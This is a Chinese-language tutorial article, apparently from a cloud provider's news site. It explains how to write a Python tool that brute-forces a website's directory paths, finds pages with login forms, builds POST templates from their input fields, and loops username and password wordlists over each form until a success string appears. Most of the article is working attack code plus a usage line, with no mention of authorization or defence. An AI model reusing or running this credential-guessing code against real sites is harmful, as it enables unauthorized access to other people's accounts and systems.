溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

在python項(xiàng)目中怎么使用遍歷路徑來破解表單

發(fā)布時(shí)間:2020-11-21 14:40:49 來源:億速云 閱讀:143 作者:Leah 欄目:開發(fā)技術(shù)

在python項(xiàng)目中怎么使用遍歷路徑來破解表單?相信很多沒有經(jīng)驗(yàn)的人對此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個(gè)問題。

首先就是路徑爆破,采用多線程隊(duì)列,爆破路徑,判斷形式為200響應(yīng)碼。

    while not self._queue.empty():
      queue = self._queue.get(timeout=0.5)
      try:
        r = requests.get(self.url+queue,timeout=5, headers=self.headers)
        if r.status_code == 200:
          print "[200] %s" %(queue)
          soup = BeautifulSoup(r.content,'html.parser')
          if soup.find('form'):
            self.brute(soup, queue)

猜解到路徑后交給brute方法處理,方法實(shí)現(xiàn)了一個(gè)css選擇器,獲取form表單中的input字段標(biāo)簽,提取標(biāo)簽參數(shù)組合成post參數(shù)值,然后提取表單中的action跳轉(zhuǎn)頁面,如沒有頁面默認(rèn)在當(dāng)前表單頁提交。

input = soup.select("form input")
      for i in input:
        try:
          if i.attrs['type'] == "hidden":
            name, value = i.attrs['name'], i.attrs['value']
            list_post.append(name+'='+value)
          elif i.attrs['type'] == 'password':
            name = i.attrs['name']
            list_post.append(name+'=$$$')
          else:
            name = i.attrs['name']
            list_post.append(name+'=%%%')
        except:
          continue
      for i in list_post:
        post = post + i + '&'
      action = soup.find_all('form')
      for i in action:
        if i['action']:
          actiontag = i['action']
        else:
          actiontag = queue
      self.payload(post, actiontag)

獲取參數(shù)值后,交給payload方法處理登陸,采用requests庫的session登陸。獲取cookie,先采用session請求獲取cookie后,再采用session攜帶cookie進(jìn)行請求提交。然后對輸入的驗(yàn)證值進(jìn)行判斷是否為登陸成功。

    for name in self.username():
      post_user = post.replace('%%%',name.strip())
      for pwd in self.password():
        post_pwd = post_user.replace('$$$',pwd.strip())
        session = requests.Session()
        session.get(self.url+'/'+action, headers=self.headers, verify=False)
        r = session.post(self.url+'/'+action, data=post_pwd, headers=self.headers, verify=False)
        if self.word in r.content:
          print '[username] %s' %name +'\r' + '[password] %s' %pwd
          return

為了判斷是否登陸成功,采用的人為輸入判斷字符串的形式。也就是腳本執(zhí)行形式為

python xxx.py http://xxxx.com xxxxx

看完上述內(nèi)容,你們掌握在python項(xiàng)目中怎么使用遍歷路徑來破解表單的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI